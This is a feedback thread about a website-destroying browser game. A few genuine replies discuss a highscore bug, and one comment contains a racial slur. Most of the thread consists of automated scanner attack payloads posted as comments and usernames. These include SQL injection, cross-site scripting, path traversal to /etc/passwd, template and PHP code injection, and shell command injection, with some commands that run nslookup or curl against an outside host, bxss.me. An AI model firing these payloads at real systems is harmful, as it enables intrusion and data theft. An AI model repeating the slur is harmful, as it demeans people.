Feedback

It doesn't work! by the destructor - 158 months ago

That's my problem:
1) I do a highscore in a site
2) i submit my score
3) it took my score but it took that for another site that i've played in the past.
Ex:
1)i do 45445 on facebook.com
2) i submit it
3) it says to me that i've done 45445 points on kickassapp.com, AND NOT on facebook.com!

for this mattern, I can't take all the achievements, because it says that i'm gone on another site

• BeyPokéDig

  This happens to me too, but it can be fixed by opening the site again in another tab (I guess window would work too) and destroying it again. I hope they will fix it soon though, it's sometimes very annoying.

• Boogerflicker

  Try not to have 2 tabs open at the same time. I think that because the app is taking a "picture" of the website that it is taking one of every website you have open. This could be the cause of all the wrong urls for highscores

• ilomilo 123

  yes

• txlqhizniwi

  USA

• lxbfYeaa

  1

• nigg­er balls

  ur a nigger

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1BL3PRbp9LO

• 1P8EFt5lNO

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  ${9999246+9999454}

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• ${10000200+9999850}

  1

• Anonymous

  1

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  response.write(9085730*9488042)

• WfxYANoW

  echo rhvjxx$()\ wuhwbc\nz^xyu||a #' &echo rhvjxx$()\ wuhwbc\nz^xyu||a #|" &echo rhvjxx$()\ wuhwbc\nz^xyu||a #

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  uBART2XF

• WfxYANoW

  '+response.write(9085730*9488042)+'

• WfxYANoW

  /etc/shells

• WfxYANoW

  1&n925446=v988640

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  HEsOTXPL: eBH2SVFO

• WfxYANoW

  "+response.write(9085730*9488042)+"

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  &echo pidltg$()\ hoijmm\nz^xyu||a #' &echo pidltg$()\ hoijmm\nz^xyu||a #|" &echo pidltg$()\ hoijmm\nz^xyu||a #

• WfxYANoW

  bxss.me

• response.write(9379811*9555281)

  1

• OUR4RHhPR3o=

  1

• NNaewXGB

  1

• WfxYANoW

  1&echo ajocfe$()\ wcgfdt\nz^xyu||a #' &echo ajocfe$()\ wcgfdt\nz^xyu||a #|" &echo ajocfe$()\ wcgfdt\nz^xyu||a #

• WfxYANoW

  file:///etc/passwd

• HtOv9Zyu: bsYn0JhA

  1

• WfxYANoW&n988267=v913080

  1

• WfxYANoW

  1

• WfxYANoW

  )

• WfxYANoW

  ../1

• WfxYANoW

  |echo hconcu$()\ gdtlfy\nz^xyu||a #' |echo hconcu$()\ gdtlfy\nz^xyu||a #|" |echo hconcu$()\ gdtlfy\nz^xyu||a #

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  '.gethostbyname(lc('hitfk'.'lrnsixxdb57e1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(76).chr(108).chr(76).'

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  1|echo ybwnqq$()\ awqwou\nz^xyu||a #' |echo ybwnqq$()\ awqwou\nz^xyu||a #|" |echo ybwnqq$()\ awqwou\nz^xyu||a #

• Http://bxss.me/t/fit.txt

  1

• file:///etc/passwd

  1

• '+response.write(9379811*9555281)+'

  1

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  (nslookup -q=cname hitwlpiqkgzgcfe1cb.bxss.me||curl hitwlpiqkgzgcfe1cb.bxss.me))

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  ^(#$!@#$)(()))******

• /etc/shells

  1

• )

  1

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoW

  $(nslookup -q=cname hithrpbcimdkvd722e.bxss.me||curl hithrpbcimdkvd722e.bxss.me)

• c:/windows/win.ini

  1

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  ".gethostbyname(lc("hituk"."pgmlofev026ec.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(88).chr(114).chr(88)."

• WfxYANoW

  '"()

• WfxYANoW

  &nslookup -q=cname hitxyrxebsery42434.bxss.me&'\"`0&nslookup -q=cname hitxyrxebsery42434.bxss.me&`'

• "+response.write(9379811*9555281)+"

  1

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  1'&&sleep(27*1000)*pafqph&&'

• bxss.me

  1

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  gethostbyname(lc('hitkm'.'xhnmuuon86eb0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(67).chr(106).chr(80)

• WfxYANoW

  1"&&sleep(27*1000)*vmiwgh&&"

• ../WfxYANoW

  1

• !(()&&!|*|*|

  1

• WfxYANoW

  &(nslookup -q=cname hitzlsqaulbzx144eb.bxss.me||curl hitzlsqaulbzx144eb.bxss.me)&'\"`0&(nslookup -q=cname hitzlsqaulbzx144eb.bxss.me||curl hitzlsqaulbzx144eb.bxss.me)&`'

• WfxYANoW

  1'||sleep(27*1000)*fmssnp||'

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  |(nslookup -q=cname hitvvbhihojqfa4e2a.bxss.me||curl hitvvbhihojqfa4e2a.bxss.me)

• WfxYANoW

  1

• WfxYANoW

  '"

• WfxYANoW

  `(nslookup -q=cname hitfbcsfhhssn72075.bxss.me||curl hitfbcsfhhssn72075.bxss.me)`

• ^(#$!@#$)(()))******

  1

• xfs.bxss.me

  1

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  ;(nslookup -q=cname hitaadhinhfkq2cddc.bxss.me||curl hitaadhinhfkq2cddc.bxss.me)|(nslookup -q=cname hitaadhinhfkq2cddc.bxss.me||curl hitaadhinhfkq2cddc.bxss.me)&(nslookup -q=cname hitaadhinhfkq2cddc.bxss.me||curl hitaadhinhfkq2cddc.bxss.me)

• WfxYANoW

  1"||sleep(27*1000)*cnombo||"

• WfxYANoW

  1'"()&%<zzz><ScRiPt >ide7(9534)</ScRiPt>

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(114).concat(79).concat(98).concat(87)+(require"socket" Socket.gethostbyname("hitid"+"oxcnangh961e8.bxss.me.")[3].to_s)+"

• WfxYANoW

  <!--

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(100).concat(80).concat(118).concat(76)+(require'socket' Socket.gethostbyname('hitqf'+'zukagebm569de.bxss.me.')[3].to_s)+'

• WfxYANoW

  bxss.me/t/xss.html?%00

• '"

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(110).concat(84).concat(119).concat(82)+(require'socket' Socket.gethostbyname('hitii'+'iorqmuay9c542.bxss.me.')[3].to_s)

• WfxYANoW

  '"()&%<zzz><ScRiPt >ide7(9846)</ScRiPt>

• <!--

  1

• ';print(md5(31337));$a='

  1

• ";print(md5(31337));$a="

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hittcrtxcunfv3b9af.bxss.me||curl${IFS}hittcrtxcunfv3b9af.bxss.me)

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  1

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  comment

• ${@print(md5(31337))}

  1

• WfxYANoW

  comment

• WfxYANoW

  19646832

• ${@print(md5(31337))}\

  1

• WfxYANoW

  bfg3727＜s1﹥s2ʺs3ʹhjl3727

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitlxnxqmvrxr16d4b.bxss.me||curl${IFS}hitlxnxqmvrxr16d4b.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitlxnxqmvrxr16d4b.bxss.me||curl${IFS}hitlxnxqmvrxr16d4b.bxss.me)&`'

• WfxYANoW

  comment/.

• comment

  1

• '.print(md5(31337)).'

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• '"()

  1

• WfxYANoW'&&sleep(27*1000)*ntonyv&&'

  1

• WfxYANoW"&&sleep(27*1000)*xabokq&&"

  1

• comment

  1

• comment/.

  1

• WfxYANoW'||sleep(27*1000)*chghpc||'

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW"||sleep(27*1000)*rnggws||"

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  1

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >ide7(9747)</ScRiPt>

• WfxYANoW

  1<WTTGA0>RNTKR[!+!]</WTTGA0>

• WfxYANoW

  1<script>ide7(9608)</script>

• WfxYANoW

  1<script>ide7(9221)</script>9221

• WfxYANoW

  1<ScR<ScRiPt>IpT>ide7(9090)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >ide7(9708)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9817></ScRiPt>

• WfxYANoW

  1<ScRiPt >ide7(9878)</ScRiPt>

• WfxYANoW

  1w94gU2qX

• WfxYANoW

  1<isindex type=image src=1 onerror=ide7(9099)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9148'>

• WfxYANoW

  1<body onload=ide7(9431)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=ide7(9298)>

• WfxYANoW

  1<img src=xyz OnErRor=ide7(9779)>

• WfxYANoW

  1<img/src=">" onerror=alert(9507)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%69%64%65%37%289634%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\ide7(9364)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;ide7(9755)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=ide7(9471)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1

• WfxYANoW

  1}body{zzz:Expre/**/SSion(ide7(9551))}

• WfxYANoW

  -1 OR 2+267-267-1=0+0+0+1 --

• WfxYANoW

  -1 OR 2+952-952-1=0+0+0+1

• WfxYANoW

  1xYYmS <ScRiPt >ide7(9054)</ScRiPt>

• WfxYANoW

  -1' OR 2+198-198-1=0+0+0+1 --

• WfxYANoW

  -1' OR 2+982-982-1=0+0+0+1 or 'o5x0pIPN'='

• WfxYANoW

  1<WBX4CV>4V1X4[!+!]</WBX4CV>

• WfxYANoW

  -1" OR 2+315-315-1=0+0+0+1 --

• WfxYANoW

  1<ifRAme sRc=9825.com></IfRamE>

• WfxYANoW

  1<aOhf3fh x=9861>

• WfxYANoW

  1<img sRc='http://attacker-9147/log.php?

• WfxYANoW

  1<aNfPjlR<

• WfxYANoW'"()&%<zzz><ScRiPt >ide7(9579)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >ide7(9815)</ScRiPt>

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW9513603

  1

• bfg5837＜s1﹥s2ʺs3ʹhjl5837

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >ide7(9722)</ScRiPt>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<WDF1EI>LDNG8[!+!]</WDF1EI>

  1

• WfxYANoW<script>ide7(9230)</script>

  1

• WfxYANoW<script>ide7(9464)</script>9464

  1

• WfxYANoW<ScRiPt >ide7(9345)</ScRiPt>

  1

• WfxYANoW<ScRiPt >ide7(9652)</ScRiPt>

  1

• WfxYANoW<body onload=ide7(9236)>

  1

• WfxYANoW<img src=xyz OnErRor=ide7(9198)>

  1

• WfxYANoW<img/src=">" onerror=alert(9573)>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW\u003CScRiPt\ide7(9659)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;ide7(9001)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=ide7(9282)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(ide7(9286))}

  1

• WfxYANoWhXQ2N <ScRiPt >ide7(9177)</ScRiPt>

  1

• WfxYANoW<WQTJT8>6RECJ[!+!]</WQTJT8>

  1

• WfxYANoW<ifRAme sRc=9885.com></IfRamE>

  1

• WfxYANoW<aQoHv8o x=9336>

  1

• WfxYANoW<img sRc='http://attacker-9601/log.php?

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW<axTjnHd<

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1GkejtQbT'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 36=(SELECT 36 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1 OR 747=(SELECT 747 FROM PG_SLEEP(3))--

• WfxYANoW

  1-1) OR 587=(SELECT 587 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 189=(SELECT 189 FROM PG_SLEEP(15))--

• WfxYANoW

  1qpKThPMc' OR 371=(SELECT 371 FROM PG_SLEEP(15))--

• WfxYANoW

  1bkVMSDDA') OR 494=(SELECT 494 FROM PG_SLEEP(15))--

• WfxYANoW

  1ZwmuMQlB')) OR 76=(SELECT 76 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@f4Xmx

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWFbpeVgAR

  1

• WfxYANoW

  1

• -1 OR 2+143-143-1=0+0+0+1 --

  1

• -1 OR 2+342-342-1=0+0+0+1

  1

• -1' OR 2+184-184-1=0+0+0+1 --

  1

• -1' OR 2+345-345-1=0+0+0+1 or 'pdWGOB7E'='

  1

• -1" OR 2+755-755-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWpvE5inie'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@2niCx

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• mgqtnnfk

  1

• lrydwryj

  response.write(9623263*9506822)

• lrydwryj

  '+response.write(9623263*9506822)+'

• ncototgs

  1

• hwavafcu

  set|set&set

• bhtpywjn

  4mP5PnBY

• lrydwryj

  "+response.write(9623263*9506822)+"

• ncototgs

  1

• hwavafcu

  $(nslookup 2umK1J6i)

• 0V4nbVqL

  1

• response.write(9787778*9197048)

  1

• soaiwhmu

  ../../../../../../../../../../etc/passwd

• ncototgs

  btHEUJbV

• hwavafcu

  &nslookup R7jLa0Nm&'\"`0&nslookup R7jLa0Nm&`'

• qbftimxs

  1

• '+response.write(9787778*9197048)+'

  1

• soaiwhmu

  ../../../../../../../../../../../../../../../proc/version

• ncototgs

  -1 OR 2+430-430-1=0+0+0+1 --

• owvnfxxl

  ${9999792+9999613}

• set|set&set

  1

• "+response.write(9787778*9197048)+"

  1

• soaiwhmu

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• ncototgs

  -1 OR 2+549-549-1=0+0+0+1

• ${9999384+9999759}

  1

• $(nslookup B4GRQPsf)

  1

• hkjvhdgj

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• soaiwhmu

  ../../../../../../../../../../etc/passwd.jpg

• ncototgs

  -1' OR 2+422-422-1=0+0+0+1 --

• azhMQ0xGZjg=

  1

• &nslookup XhwLafDV&'\"`0&nslookup XhwLafDV&`'

  1

• hkjvhdgj

  1some_inexistent_file_with_long_name.jpg

• soaiwhmu

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• ncototgs

  -1' OR 2+235-235-1=0+0+0+1 or 'oNpQgaIZ'='

• eqybblhf

  1&n990947=v951698

• mesjdeuu

  )

• hkjvhdgj

  Http://testasp.vulnweb.com/t/fit.txt

• qbftimxs

  1

• soaiwhmu

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• ncototgs

  -1" OR 2+488-488-1=0+0+0+1 --

• mesjdeuu

  !(()&&!|*|*|

• hkjvhdgj

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• Anonymous

  1

• soaiwhmu

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• ncototgs

  if(now()=sysdate(),sleep(4),0)/*'XOR(if(now()=sysdate(),sleep(4),0))OR'"XOR(if(now()=sysdate(),sleep(4),0))OR"*/

• bcmcdkxi&n924651=v907379

  1

• mesjdeuu

  ^(#$!@#$)(()))******

• hkjvhdgj

  testasp.vulnweb.com

• soaiwhmu

  /etc/passwd

• ncototgs

  if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/

• )

  1

• soaiwhmu

  %2fetc%2fpasswd

• ncototgs

  (select(0)from(select(sleep(4)))v)/*'+(select(0)from(select(sleep(4)))v)+'"+(select(0)from(select(sleep(4)))v)+"*/

• !(()&&!|*|*|

  1

• liquiedx

  ;print(md5(acunetix_wvs_security_test));

• soaiwhmu

  /.././.././.././.././.././.././.././../etc/./passwd%00

• ncototgs

  (select(0)from(select(sleep(13)))v)/*'+(select(0)from(select(sleep(13)))v)+'"+(select(0)from(select(sleep(13)))v)+"*/

• nanijins

  '"()

• 1some_inexistent_file_with_long_name.jpg

  1

• ^(#$!@#$)(()))******

  1

• liquiedx

  ';print(md5(acunetix_wvs_security_test));$a='

• soaiwhmu

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• dpwcycpa

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• ncototgs

  -1; waitfor delay '0:0:9' --

• Http://testasp.vulnweb.com/t/fit.txt

  1

• evouykxh

  1

• liquiedx

  ";print(md5(acunetix_wvs_security_test));$a="

• soaiwhmu

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• ncototgs

  -1); waitfor delay '0:0:9' --

• '"()

  1

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• evouykxh

  comment

• liquiedx

  ${@print(md5(acunetix_wvs_security_test))}

• hxsntinc

  http://hitlF9NUqHs13.bxss.me/

• ncototgs

  1 waitfor delay '0:0:9' --

• lytjpygq

  1

• testasp.vulnweb.com

  1

• evouykxh

  comment

• liquiedx

  ${@print(md5(acunetix_wvs_security_test))}\

• soaiwhmu

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• ncototgs

  0JxCPTNh'; waitfor delay '0:0:13' --

• http://hittSdd1wwxey.bxss.me/

  1

• lytjpygq

  1'"

• hpvkhkgs

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• evouykxh

  comment/.

• ;print(md5(acunetix_wvs_security_test));

  1

• soaiwhmu

  file:///etc/passwd

• ncototgs

  -1;select pg_sleep(13); --

• lytjpygq

  \

• ewwdqbmx

  /www.vulnweb.com

• evouykxh

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• soaiwhmu

  /\../\../\../\../\../\../\../etc/passwd

• ncototgs

  -1);select pg_sleep(13); --

• /www.vulnweb.com

  1

• comment

  1

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• kldqxkml

  '"

• soaiwhmu

  WEB-INF/web.xml

• ncototgs

  -1));select pg_sleep(4); --

• lytjpygq

  @@bvl05

• comment

  1

• fcvdguas

  1'"()&%<acx><ScRiPt >LdUG(9336)</ScRiPt>

• ${@print(md5(acunetix_wvs_security_test))}

  1

• kldqxkml

  <!--

• soaiwhmu

  /WEB-INF/web.xml

• ncototgs

  -1));select pg_sleep(0); --

• lytjpygq

  JyI=

• comment/.

  1

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• '"

  1

• soaiwhmu

  WEB-INF\web.xml

• ncototgs

  VE9JNRrb';select pg_sleep(4); --

• <!--

  1

• fcvdguas

  '"()&%<acx><ScRiPt >LdUG(9036)</ScRiPt>

• ../../../../../../../../../../etc/passwd

  1

• ncototgs

  FYLUf1A2';select pg_sleep(9); --

• ncototgs

  R8aL3SrD');select pg_sleep(4); --

• lytjpygq

  (select convert(int,CHAR(65)))

• fcvdguas

  1_9651

• ncototgs

  feZ4KC5B'));select pg_sleep(4); --

• lytjpygq

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• ncototgs

  1

• 1'"

  1

• fcvdguas

  acu1652＜s1﹥s2ʺs3ʹuca1652

• ncototgs

  1

• \

  1

• KykSz6rV

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• -1 OR 2+460-460-1=0+0+0+1 --

  1

• @@0s50U

  1

• /etc/passwd

  1

• -1 OR 2+464-464-1=0+0+0+1

  1

• JyI=

  1

• %2fetc%2fpasswd

  1

• -1' OR 2+818-818-1=0+0+0+1 --

  1

• fcvdguas

  {{10000212*10000347}}

• -1' OR 2+213-213-1=0+0+0+1 or 'cfm0dp3I'='

  1

• -1" OR 2+656-656-1=0+0+0+1 --

  1

• (select convert(int,CHAR(65)))

  1

• fcvdguas

  1<ScRiPt >LdUG(9313)</ScRiPt>

• fcvdguas

  1<WRDTJY>IMIX8[!+!]</WRDTJY>

• 1 waitfor delay '0:0:13' --

  1

• C040PhPc'; waitfor delay '0:0:4' --

  1

• fcvdguas

  1<script>LdUG(9411)</script>

• N7iWzvZB';select pg_sleep(4); --

  1

• file:///etc/passwd

  1

• 4KU98vrj');select pg_sleep(4); --

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• fcvdguas

  1<ScR<ScRiPt>IpT>LdUG(9889)</sCr<ScRiPt>IpT>

• qTnSIijB'));select pg_sleep(9); --

  1

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• fcvdguas

  1<ScRiPt >LdUG(9592)</ScRiPt>

• WEB-INF\web.xml

  1

• fcvdguas

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9537></ScRiPt>

• fcvdguas

  1<ScRiPt >LdUG(9511)</ScRiPt>

• fcvdguas

  1<video><source onerror="javascript:LdUG(9692)">

• fcvdguas

  1<isindex type=image src=1 onerror=LdUG(9474)>

• fcvdguas

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9013'>

• fcvdguas

  1<body onload=LdUG(9643)>

• fcvdguas

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=LdUG(9331)>

• fcvdguas

  1<img src=xyz OnErRor=LdUG(9580)>

• fcvdguas

  1<img/src=">" onerror=alert(9667)>

• fcvdguas

  %31%3C%53%63%52%69%50%74%20%3E%4C%64%55%47%289953%29%3C%2F%73%43%72%69%70%54%3E

• fcvdguas

  1\u003CScRiPt\LdUG(9171)\u003C/sCripT\u003E

• fcvdguas

  1&lt;ScRiPt&gt;LdUG(9845)&lt;/sCripT&gt;

• fcvdguas

  1<input autofocus onfocus=LdUG(9278)>

• fcvdguas

  <a HrEF=http://www.vulnweb.com></a>

• fcvdguas

  <a HrEF=jaVaScRiPT:>

• fcvdguas

  [url=http://www.vulnweb.com][/url]

• fcvdguas

  1<img<!-- --> src=x onerror=alert(9533);//><!-- -->

• fcvdguas

  1}body{acu:Expre/**/SSion(LdUG(9446))}

• fcvdguas

  1<% contenteditable onresize=LdUG(9974)>

• fcvdguas

  1_pdx3x <ScRiPt >LdUG(9302)</ScRiPt>

• fcvdguas

  1<WMXB5D>AJJYK[!+!]</WMXB5D>

• fcvdguas

  1<ifRAme sRc=9474.com></IfRamE>

• fcvdguas

  1<QHUeMP x=9059>

• fcvdguas

  1<img sRc='http://attacker-9393/log.php?

• fcvdguas'"()&%<acx><ScRiPt >LdUG(9043)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >LdUG(9534)</ScRiPt>

  1

• fcvdguas_9486

  1

• acu2659＜s1﹥s2ʺs3ʹuca2659

  1

• {{9999630*9999661}}

  1

• fcvdguas<ScRiPt >LdUG(9959)</ScRiPt>

  1

• fcvdguas<WFD7FO>MECLC[!+!]</WFD7FO>

  1

• fcvdguas<script>LdUG(9235)</script>

  1

• fcvdguas<ScRiPt >LdUG(9022)</ScRiPt>

  1

• fcvdguas<ScRiPt >LdUG(9262)</ScRiPt>

  1

• fcvdguas<body onload=LdUG(9524)>

  1

• fcvdguas<img src=xyz OnErRor=LdUG(9437)>

  1

• fcvdguas<img/src=">" onerror=alert(9997)>

  1

• fcvdguas\u003CScRiPt\LdUG(9760)\u003C/sCripT\u003E

  1

• fcvdguas&lt;ScRiPt&gt;LdUG(9715)&lt;/sCripT&gt;

  1

• fcvdguas<input autofocus onfocus=LdUG(9481)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• fcvdguas}body{acu:Expre/**/SSion(LdUG(9354))}

  1

• fcvdguas<% contenteditable onresize=LdUG(9773)>

  1

• fcvdguas_Dvm85 <ScRiPt >LdUG(9800)</ScRiPt>

  1

• fcvdguas<WIX1S0>SL8NT[!+!]</WIX1S0>

  1

• fcvdguas<ifRAme sRc=9412.com></IfRamE>

  1

• fcvdguas<vvanTK x=9590>

  1

• fcvdguas<img sRc='http://attacker-9358/log.php?

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1dVUcmZW5

• dwUQQUrL

  1

• dwUQQUrL

  -1 OR 2+675-675-1=0+0+0+1 --

• dwUQQUrL

  -1 OR 2+151-151-1=0+0+0+1

• dwUQQUrL

  -1' OR 2+22-22-1=0+0+0+1 --

• dwUQQUrL

  -1' OR 2+494-494-1=0+0+0+1 or 'dfPztl1N'='

• dwUQQUrL

  -1" OR 2+125-125-1=0+0+0+1 --

• dwUQQUrL

  1*if(now()=sysdate(),sleep(15),0)

• dwUQQUrL

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

